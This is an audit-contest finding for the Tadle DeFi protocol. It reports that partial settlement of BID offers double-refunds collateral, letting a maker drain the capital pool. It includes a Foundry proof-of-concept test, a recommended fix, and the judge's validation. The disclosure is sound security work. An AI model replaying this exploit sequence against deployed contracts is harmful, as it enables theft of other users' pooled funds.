Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

Bid makers receive an excessive amount of refund on a partial settlement

dadekuma

Summary

When a BID offer maker settles their offer with a partial amount, they receive an excessive amount of collateral refund, so they can drain the pool.

This is similar to another issue: BID makers can drain the pool as they are wrongly refunded on a full settlement, but the scenario here is a partial settlement; these issues have a different root cause and mitigation.

Vulnerability Details

  1. Alice creates a BID offer for 1000 points and 2000 collateral (initial state: 0 points and 2000 collateral)

  2. Bob creates an ASK order to buy 400 points

  3. Alice settles 300 points on Bob's order (instead of 400), and she pays the full amount (800 collateral)

  4. Bob gets 800 collateral, 100 points stay in the pool

  5. Alice now has: 300 points and 2000 collateral (but she should have 300 points and 1200 collateral instead)

Poc, run forge test --via-ir --match-test test_h12_bid_offer_taker_gets_too_much_refund -vv

function test_h12_bid_offer_taker_gets_too_much_refund() public {
​
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
​
// give funds to users
uint256 aliceInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), alice, aliceInitialBalance);
vm.prank(alice);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
uint256 bobInitialBalance = 100_000 * 1e18;
deal(address(mockUSDCToken), bob, bobInitialBalance);
​
deal(address(mockUSDCToken), address(capitalPool), bobInitialBalance);
​
vm.prank(bob);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// alice creates offer
vm.startPrank(alice);
​
uint256 collateralAmount = 2000 * 1e18;
​
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000, //points
collateralAmount, //amount
10_000, //collateralRate
0, //eachTradeTax
OfferType.Bid,
OfferSettleType.Protected
)
);
​
assertEq(mockUSDCToken.balanceOf(alice), aliceInitialBalance - collateralAmount, "alice collateral balance after offer");
​
address offer0Addr = GenerateAddress.generateOfferAddress(0);
​
// bob is taker
vm.startPrank(bob);
uint256 bobPoints = 400;
preMarktes.createTaker(offer0Addr, bobPoints);
address stock1Addr = GenerateAddress.generateStockAddress(1);
assertEq(mockUSDCToken.balanceOf(bob), bobInitialBalance - 800 * 1e18 - 4 * 1e18, "bob collateral balance after offer");
vm.stopPrank();
​
// move market status
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
1e18,
block.timestamp - 1,
3600
);
​
vm.startPrank(alice);
uint256 alicePoints = 10_000 * 1e18;
deal(address(mockPointToken), alice, alicePoints);
mockPointToken.approve(address(tokenManager), type(uint256).max);
deliveryPlace.settleAskTaker(stock1Addr, 300);
deliveryPlace.closeBidOffer(offer0Addr);
// NOTE -> 1 Point = 2 Collateral
uint256 tokenAmount;
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 2000 * 1e18, "refund alice"); // alice gets TOO much refund. she should get 1200 * 1e18 instead (because bob earned 800 on this sale)
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0 * 1e18, "cash alice");
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 300 * 1e18, "token alice"); // settled 300 out of 400, 100 stays in the pool
​
tokenAmount = tokenManager.userTokenBalanceMap(alice, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 0 * 1e18, "sales alice");
​
// bob
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.MakerRefund);
assertEq(tokenAmount, 0, "refund bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.RemainingCash);
assertEq(tokenAmount, 0 * 1e18, "cash bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.PointToken);
assertEq(tokenAmount, 0 * 1e18, "cash bob");
​
tokenAmount = tokenManager.userTokenBalanceMap(bob, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
assertEq(tokenAmount, 800 * 1e18, "sales bob");
} // forge test --via-ir --match-test test_h12_bid_offer_taker_gets_too_much_refund -vv

Impact

Impact: High (Users receive an excessive refund, so they extract value from the protocol)
Likelihood: High (Bid makers have to sacrifice only 1 point out of the total amount)

Risk: Critical

Tools Used

Manual review

Recommendations

In DeliveryPlace change settleAskTaker and remove the partial settlement refund logic (it's already handled in closeBidOffer, you are refunding twice):

- else {
- tokenManager.addTokenBalance(
- TokenBalanceType.MakerRefund,
- offerInfo.authority,
- makerInfo.tokenAddress,
- collateralFee
- );
- }

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L407-L414

Updates

Lead Judging Commences

0xnevi Lead Judge
10 months ago
0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-closeBidTaker-wrong-makerinfo-token-address-addToken-balance

Valid high severity, In `settleAskTaker/closeBidTaker`, by assigning collateral token to user balance instead of point token, if collateral token is worth more than point, this can cause stealing of other users collateral tokens within the CapitalPool contract, If the opposite occurs, user loses funds based on the points they are supposed to receive

Appeal created

dadekuma Submitter
10 months ago
0xnevi Lead Judge
10 months ago
0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-settleAskMaker-partial-settlements

Valid high, in settleAskTaker/settleAskMaker, if the original offer maker performs a partial final settlement, the existing checks [here](https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L356-L358) and [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L230-L232) will cause an revert when attempting to complete a full settlement, resulting in their collateral being locked and requiring a rescue from the admin. To note, although examples in the documentation implies settlement in a single click, it is not stated that partial settlements are not allowed, so I believe it is a valid user flow.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.